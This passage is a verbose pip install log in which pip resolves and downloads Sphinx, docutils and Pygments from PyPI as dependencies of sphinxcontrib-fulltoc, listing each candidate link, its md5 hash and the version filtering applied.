https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.1-py2.7.egg#md5=a80656d0fff7eaee79883baa67874d12 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.1.1-py2.7.egg#md5=bb1c45e99fa2a74d9d631d3c2f31b608 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.1.2-py2.7.egg#md5=14696ed66febb8ee3f12257a5f2e5973 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.1.3-py2.7.egg#md5=83ee00b4f709d9597fc59a2dd673ee03 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.2b1-py2.7.egg#md5=60fbf057bc586dce8ceb55a404f5a9be (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.2b2-py2.7.egg#md5=ac1bc3a8cde2957c449399fdb7707436 (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.7/S/Sphinx/Sphinx-1.2b3-py2.7.egg#md5=6b1ba0dddfb9cd0fabc09e6e4730f30a (from https://pypi.python.org/simple/Sphinx/); unknown archive format: .egg - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61611.tar.gz#md5=24585c5dfcd3e7ea323eca0fe7e61a61 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61611 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61798.tar.gz#md5=d13c140bfd3db95d229d14b81fc4ec43 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61798 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61843.tar.gz#md5=69ab7befe60af790d24e22b4b46e8392 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61843 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61945.tar.gz#md5=6609629c809ce807b6d29733b2b09d55 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61945 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61950.tar.gz#md5=80524e9b55e016b61533aaf53eb88c88 (from https://pypi.python.org/simple/Sphinx/), version: 0.1.61950 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.2.tar.gz#md5=da32f97bb4f30d7e9e3afb50017072e0 (from https://pypi.python.org/simple/Sphinx/), version: 0.2 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.3.tar.gz#md5=98550d222aec91a029c0921819c4c49f (from https://pypi.python.org/simple/Sphinx/), version: 0.3 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.1.tar.gz#md5=45eba5dcfc909241c7bce9d9bf96f2af (from https://pypi.python.org/simple/Sphinx/), version: 0.4.1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.2.tar.gz#md5=5fb591961e1d834f726b3e5d29bec924 (from https://pypi.python.org/simple/Sphinx/), version: 0.4.2 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.3.tar.gz#md5=b3c17f1b5be0b76c373a2474488f1662 (from https://pypi.python.org/simple/Sphinx/), version: 0.4.3 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.tar.gz#md5=1ae14fab44f4bbb0f8d10b17e18be36b (from https://pypi.python.org/simple/Sphinx/), version: 0.4 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.1.tar.gz#md5=11456e362d75c1a4c5a5847921d3f4c7 (from https://pypi.python.org/simple/Sphinx/), version: 0.5.1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.2.tar.gz#md5=277343796ca265942fec3baeefb14d3f (from https://pypi.python.org/simple/Sphinx/), version: 0.5.2 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.2b1.tar.gz#md5=1e97cd2bfa26a8079c3513493faf8b35 (from https://pypi.python.org/simple/Sphinx/), version: 0.5.2b1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.tar.gz#md5=55a33cc13b5096c8763cd4a933b30ddc (from https://pypi.python.org/simple/Sphinx/), version: 0.5 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.1.tar.gz#md5=fa1a32c406232a96a776de7dfae15032 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.2.tar.gz#md5=c8f79e171addc73342cc2e775dc78880 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.2 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.3.tar.gz#md5=b8ba063eeeaf818a7ea07fd28d9614a9 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.3 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.4.tar.gz#md5=a65e0bcff6f79a7c013220d00ea137ad (from https://pypi.python.org/simple/Sphinx/), version: 0.6.4 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.5.tar.gz#md5=86dd5dbd55cb44d1f8091a4a1c3743b2 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.5 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.6.tar.gz#md5=840f6dbbecbb4979a204909f5656c723 (from https://pypi.python.org/simple/Sphinx/), version: 0.6.6 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.7.tar.gz#md5=54c3e4045ee4a4997a50c225f36e92fd (from https://pypi.python.org/simple/Sphinx/), version: 0.6.7 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6.tar.gz#md5=b385027619d9042c98eebc8b352d9d48 (from https://pypi.python.org/simple/Sphinx/), version: 0.6 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6b1.tar.gz#md5=c2518f36c78edf87009897a9778ec36a (from https://pypi.python.org/simple/Sphinx/), version: 0.6b1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.1.tar.gz#md5=d3a57ffcf2592da494aeca4b62e815ef (from https://pypi.python.org/simple/Sphinx/), version: 1.0.1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.2.tar.gz#md5=004e475ba0efa56c5b51c69d7170881a (from https://pypi.python.org/simple/Sphinx/), version: 1.0.2 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.3.tar.gz#md5=5ba14b33f74ac7bec558cfd842ca7437 (from https://pypi.python.org/simple/Sphinx/), version: 1.0.3 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.4.tar.gz#md5=d4067e42e75525ecf108ece471ce97bb (from https://pypi.python.org/simple/Sphinx/), version: 1.0.4 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.5.tar.gz#md5=9c2cbfb4f520c49cedd10d0b26196832 (from https://pypi.python.org/simple/Sphinx/), version: 1.0.5 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.6.tar.gz#md5=4cdb86c7bb7fa2498ac12db844784769 (from https://pypi.python.org/simple/Sphinx/), version: 1.0.6 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.7.tar.gz#md5=42c722d48e52d4888193965dd473adb5 (from https://pypi.python.org/simple/Sphinx/), version: 1.0.7 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.8.tar.gz#md5=6f9aace3f7e523ce55514eafa2764c6f (from https://pypi.python.org/simple/Sphinx/), version: 1.0.8 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0.tar.gz#md5=173baed4a71355fc3c908da1f6ab4156 (from https://pypi.python.org/simple/Sphinx/), version: 1.0 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0b1.tar.gz#md5=efe4e95ea02e1a7fbb19969632454f3f (from https://pypi.python.org/simple/Sphinx/), version: 1.0b1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0b2.tar.gz#md5=6bf13da4fd0542cc85705d1c4abd3c0a (from https://pypi.python.org/simple/Sphinx/), version: 1.0b2 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.1.tar.gz#md5=aee8d7afcbae569c96811aa692d1af2d (from https://pypi.python.org/simple/Sphinx/), version: 1.1.1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.2.tar.gz#md5=b65a5d5d6172f3dcfefb4770ec63926e (from https://pypi.python.org/simple/Sphinx/), version: 1.1.2 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.3.tar.gz#md5=8f55a6d4f87fc6d528120c5d1f983e98 (from https://pypi.python.org/simple/Sphinx/), version: 1.1.3 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.tar.gz#md5=909927a2c0fe62e7ff5794387c8af34e (from https://pypi.python.org/simple/Sphinx/), version: 1.1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b1.tar.gz#md5=67bea6df63be8e2a76ebedc76d8f71a3 (from https://pypi.python.org/simple/Sphinx/), version: 1.2b1 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b2.tar.gz#md5=4cd81aac59d93a69278873e345fe99a5 (from https://pypi.python.org/simple/Sphinx/), version: 1.2b2 - - Found link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b3.tar.gz#md5=10d0bffdf01f0eddd57b9e0af0623457 (from https://pypi.python.org/simple/Sphinx/), version: 1.2b3 - - Skipping link http://sphinx-doc.org/ (from https://pypi.python.org/simple/Sphinx/); not a file - - Skipping link http://sphinx.pocoo.org/ (from https://pypi.python.org/simple/Sphinx/); not a file - - Found link http://bitbucket.org/birkenfeld/sphinx/get/tip.gz#egg=Sphinx-dev (from https://pypi.python.org/simple/Sphinx/), version: dev - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61611.tar.gz#md5=24585c5dfcd3e7ea323eca0fe7e61a61 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61611 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61798.tar.gz#md5=d13c140bfd3db95d229d14b81fc4ec43 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61798 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61843.tar.gz#md5=69ab7befe60af790d24e22b4b46e8392 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61843 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61945.tar.gz#md5=6609629c809ce807b6d29733b2b09d55 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61945 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.1.61950.tar.gz#md5=80524e9b55e016b61533aaf53eb88c88 (from https://pypi.python.org/simple/Sphinx/), version 0.1.61950 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.2.tar.gz#md5=da32f97bb4f30d7e9e3afb50017072e0 (from https://pypi.python.org/simple/Sphinx/), version 0.2 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.3.tar.gz#md5=98550d222aec91a029c0921819c4c49f (from https://pypi.python.org/simple/Sphinx/), version 0.3 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.1.tar.gz#md5=45eba5dcfc909241c7bce9d9bf96f2af (from https://pypi.python.org/simple/Sphinx/), version 0.4.1 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.2.tar.gz#md5=5fb591961e1d834f726b3e5d29bec924 (from https://pypi.python.org/simple/Sphinx/), version 0.4.2 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.3.tar.gz#md5=b3c17f1b5be0b76c373a2474488f1662 (from https://pypi.python.org/simple/Sphinx/), version 0.4.3 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.4.tar.gz#md5=1ae14fab44f4bbb0f8d10b17e18be36b (from https://pypi.python.org/simple/Sphinx/), version 0.4 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.1.tar.gz#md5=11456e362d75c1a4c5a5847921d3f4c7 (from https://pypi.python.org/simple/Sphinx/), version 0.5.1 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.2.tar.gz#md5=277343796ca265942fec3baeefb14d3f (from https://pypi.python.org/simple/Sphinx/), version 0.5.2 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.2b1.tar.gz#md5=1e97cd2bfa26a8079c3513493faf8b35 (from https://pypi.python.org/simple/Sphinx/), version 0.5.2b1 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.5.tar.gz#md5=55a33cc13b5096c8763cd4a933b30ddc (from https://pypi.python.org/simple/Sphinx/), version 0.5 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-0.6b1.tar.gz#md5=c2518f36c78edf87009897a9778ec36a (from https://pypi.python.org/simple/Sphinx/), version 0.6b1 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0b1.tar.gz#md5=efe4e95ea02e1a7fbb19969632454f3f (from https://pypi.python.org/simple/Sphinx/), version 1.0b1 is a pre-release (use --pre to allow). - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0b2.tar.gz#md5=6bf13da4fd0542cc85705d1c4abd3c0a (from https://pypi.python.org/simple/Sphinx/), version 1.0b2 is a pre-release (use --pre to allow). - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b1.tar.gz#md5=67bea6df63be8e2a76ebedc76d8f71a3 (from https://pypi.python.org/simple/Sphinx/), version 1.2b1 is a pre-release (use --pre to allow). - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b2.tar.gz#md5=4cd81aac59d93a69278873e345fe99a5 (from https://pypi.python.org/simple/Sphinx/), version 1.2b2 is a pre-release (use --pre to allow). - - Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b3.tar.gz#md5=10d0bffdf01f0eddd57b9e0af0623457 (from https://pypi.python.org/simple/Sphinx/), version 1.2b3 is a pre-release (use --pre to allow). - - Ignoring link http://bitbucket.org/birkenfeld/sphinx/get/tip.gz#egg=Sphinx-dev (from https://pypi.python.org/simple/Sphinx/), version dev doesn't match >=0.6 - - Using version 1.1.3 (newest of versions: 1.1.3, 1.1.2, 1.1.1, 1.1, 1.0.8, 1.0.7, 1.0.6, 1.0.5, 1.0.4, 1.0.3, 1.0.2, 1.0.1, 1.0, 0.6.7, 0.6.6, 0.6.5, 0.6.4, 0.6.3, 0.6.2, 0.6.1, 0.6) - - Downloading from URL https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.3.tar.gz#md5=8f55a6d4f87fc6d528120c5d1f983e98 (from https://pypi.python.org/simple/Sphinx/) - - Running setup.py egg_info for package Sphinx - - running egg_info - - creating pip-egg-info/Sphinx.egg-info - - writing requirements to pip-egg-info/Sphinx.egg-info/requires.txt - - writing pip-egg-info/Sphinx.egg-info/PKG-INFO - - writing top-level names to pip-egg-info/Sphinx.egg-info/top_level.txt - - writing dependency_links to pip-egg-info/Sphinx.egg-info/dependency_links.txt - - writing entry points to pip-egg-info/Sphinx.egg-info/entry_points.txt - - writing manifest file 'pip-egg-info/Sphinx.egg-info/SOURCES.txt' - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'pip-egg-info/Sphinx.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - no previously-included directories found matching 'doc/_build' - - writing manifest file 'pip-egg-info/Sphinx.egg-info/SOURCES.txt' - - Source in /home/isis/.virtualenvs/python-gnupg/build/Sphinx has version 1.1.3, which satisfies requirement Sphinx>=0.6 (from sphinxcontrib-fulltoc) - -Downloading/unpacking docutils>=0.6 (from sphinxcontrib-fulltoc) - - Getting page https://pypi.python.org/simple/docutils/ - - URLs to search for versions for docutils>=0.6 (from sphinxcontrib-fulltoc): - - * https://pypi.python.org/simple/docutils/ - - Analyzing links from page https://pypi.python.org/simple/docutils/ - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.10.tar.gz#md5=d8d4660c08302c791b2d71a155a2f4bc (from https://pypi.python.org/simple/docutils/), version: 0.10 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.11.tar.gz#md5=20ac380a18b369824276864d98ec0ad6 (from https://pypi.python.org/simple/docutils/), version: 0.11 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.5.tar.gz#md5=b49007d4fb3a24305cc8f30313684925 (from https://pypi.python.org/simple/docutils/), version: 0.3.5 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.7.tar.gz#md5=fdd192d62bf5aebac6258a7ae8af5123 (from https://pypi.python.org/simple/docutils/), version: 0.3.7 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.9.tar.gz#md5=3b6727e4f53e88ae7cea7c296694fc6c (from https://pypi.python.org/simple/docutils/), version: 0.3.9 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.tar.gz#md5=d8c78dd09610055431ac8df30312bdb9 (from https://pypi.python.org/simple/docutils/), version: 0.3 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.4.tar.gz#md5=0fe7b42bb3c2aa3680fe30f9a5fbf712 (from https://pypi.python.org/simple/docutils/), version: 0.4 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.5.tar.gz#md5=dd72dac92fc8e3eb0f48c3effeef80f6 (from https://pypi.python.org/simple/docutils/), version: 0.5 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.6.tar.gz#md5=5c615479a965bc773892f585e0e08119 (from https://pypi.python.org/simple/docutils/), version: 0.6 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.7.tar.gz#md5=9aec716baf15d06b5aa57cf8d5591c15 (from https://pypi.python.org/simple/docutils/), version: 0.7 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.8.1.tar.gz#md5=2ecf8ba3ece1be1ed666150a80c838c8 (from https://pypi.python.org/simple/docutils/), version: 0.8.1 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.8.tar.gz#md5=f57474b69bfbf0eb608706a104f92dda (from https://pypi.python.org/simple/docutils/), version: 0.8 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.9.1.tar.gz#md5=b0d5cd5298fedf9c62f5fd364a274d56 (from https://pypi.python.org/simple/docutils/), version: 0.9.1 - - Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.9.tar.gz#md5=2f79520bbbdb89b1a9b5f29832b37123 (from https://pypi.python.org/simple/docutils/), version: 0.9 - - Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.5.tar.gz#md5=b49007d4fb3a24305cc8f30313684925 (from https://pypi.python.org/simple/docutils/), version 0.3.5 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.7.tar.gz#md5=fdd192d62bf5aebac6258a7ae8af5123 (from https://pypi.python.org/simple/docutils/), version 0.3.7 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.9.tar.gz#md5=3b6727e4f53e88ae7cea7c296694fc6c (from https://pypi.python.org/simple/docutils/), version 0.3.9 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.tar.gz#md5=d8c78dd09610055431ac8df30312bdb9 (from https://pypi.python.org/simple/docutils/), version 0.3 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.4.tar.gz#md5=0fe7b42bb3c2aa3680fe30f9a5fbf712 (from https://pypi.python.org/simple/docutils/), version 0.4 doesn't match >=0.6 - - Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.5.tar.gz#md5=dd72dac92fc8e3eb0f48c3effeef80f6 (from https://pypi.python.org/simple/docutils/), version 0.5 doesn't match >=0.6 - - Using version 0.11 (newest of versions: 0.11, 0.10, 0.9.1, 0.9, 0.8.1, 0.8, 0.7, 0.6) - - Downloading from URL https://pypi.python.org/packages/source/d/docutils/docutils-0.11.tar.gz#md5=20ac380a18b369824276864d98ec0ad6 (from https://pypi.python.org/simple/docutils/) - - Running setup.py egg_info for package docutils - - running egg_info - - creating pip-egg-info/docutils.egg-info - - writing pip-egg-info/docutils.egg-info/PKG-INFO - - writing top-level names to pip-egg-info/docutils.egg-info/top_level.txt - - writing dependency_links to pip-egg-info/docutils.egg-info/dependency_links.txt - - writing manifest file 'pip-egg-info/docutils.egg-info/SOURCES.txt' - - warning: manifest_maker: standard file '-c' not found - - - - reading manifest file 'pip-egg-info/docutils.egg-info/SOURCES.txt' - - reading manifest template 'MANIFEST.in' - - warning: no files found matching 'MANIFEST' - - warning: no files found matching '*' under directory 'extras' - - warning: no previously-included files matching '.cvsignore' found under directory '*' - - warning: no previously-included files matching '*.pyc' found under directory '*' - - warning: no previously-included files matching '*~' found under directory '*' - - warning: no previously-included files matching '.DS_Store' found under directory '*' - - writing manifest file 'pip-egg-info/docutils.egg-info/SOURCES.txt' - - Source in /home/isis/.virtualenvs/python-gnupg/build/docutils has version 0.11, which satisfies requirement docutils>=0.6 (from sphinxcontrib-fulltoc) - -Downloading/unpacking Pygments>=1.2 (from Sphinx>=0.6->sphinxcontrib-fulltoc) - - Getting page https://pypi.python.org/simple/Pygments/ - - URLs to search for versions for Pygments>=1.2 (from Sphinx>=0.6->sphinxcontrib-fulltoc): - - * https://pypi.python.org/simple/Pygments/ - - Analyzing links from page https://pypi.python.org/simple/Pygments/ - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.10-py2.3.egg#md5=ab204150f3c7745e4db10b9f9d8c5b03 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.11-py2.3.egg#md5=bf04ca995de7321f5df3f0b58e45726d (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.11.1-py2.3.egg#md5=4802519f36d9c6027534a45a8e6bcc68 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.5-py2.3.egg#md5=17fadb28442619f29890ac731a96a533 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.5.1-py2.3.egg#md5=34195e47304f73e5a3a62ec3b59a8bab (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.6-py2.3.egg#md5=01074a45182979ca396d84810563a17c (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.7-py2.3.egg#md5=bf72eed4be1b87d794c0d95ab29cf1a9 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.7.1-py2.3.egg#md5=29d1bf5022387f08be4bb27d675fb65d (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.8-py2.3.egg#md5=31ecde12558caf9e123762b4a4216e7c (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.8.1-py2.3.egg#md5=74564b1f6bd66d1c48ed515b39d21c45 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.9-py2.3.egg#md5=946ebc41c5886244816f42c4b69fb971 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-1.0-py2.3.egg#md5=59bd7f7c7ada6838c3f3da34e34fe807 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.10-py2.4.egg#md5=64cd2373677945c6b1a4fc6443dddcf4 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.11-py2.4.egg#md5=3c571502b55a6002886722ad0350ce84 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.11.1-py2.4.egg#md5=52d7a46a91a4a426f8fbc681c5c6f1f5 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.5-py2.4.egg#md5=ffbef7404026fc4aeadec89cadbf0090 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.5.1-py2.4.egg#md5=d19191cef697fbe86fb77798b5c84c04 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.6-py2.4.egg#md5=45260de64626d97e11aa2dfdb1bf3ef1 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.7-py2.4.egg#md5=991a04ebc3bd84f2c55e2c9aafdb9685 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.7.1-py2.4.egg#md5=483d1ee9525e3243d83c2f9a95b8e493 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.8-py2.4.egg#md5=2433de424e96cf9c5707ee7f31f61047 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.8.1-py2.4.egg#md5=97bd47b9fcef37b8fc44dbfde8721cad (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.9-py2.4.egg#md5=0f885e4d7c9be64976b897cf89aae288 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.0-py2.4.egg#md5=7498b5424b5a16c1be956e4f77e7fd04 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.1-py2.4.egg#md5=729a0cfb8c5c9fbff6d148c5e829fd9d (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.1.1-py2.4.egg#md5=a11e234936cc0daf238a0c1a7fddfdad (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.2-py2.4.egg#md5=48f8645cfb2452da94851195f8ad9b45 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.2.1-py2.4.egg#md5=c5fd87cf9eba189d809b08f8ab414454 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.2.2-py2.4.egg#md5=771eab6c53105b160acf4e5583894201 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.3-py2.4.egg#md5=c2e988a387b1e71837485602defe3c47 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.3.1-py2.4.egg#md5=5e9519be1acd4d1b14937295d55bdab9 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.4-py2.4.egg#md5=619325b28c60a1ac96ba1c9b301149c6 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.10-py2.5.egg#md5=78b66644604e786cb096e4250ec3a896 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.11-py2.5.egg#md5=0c8e73d3a808f8d32b97ea7e90fc36f6 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg - - Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.11.1-py2.5.egg#md5=fde2a28ca83e5fca16f5ee72a67af719 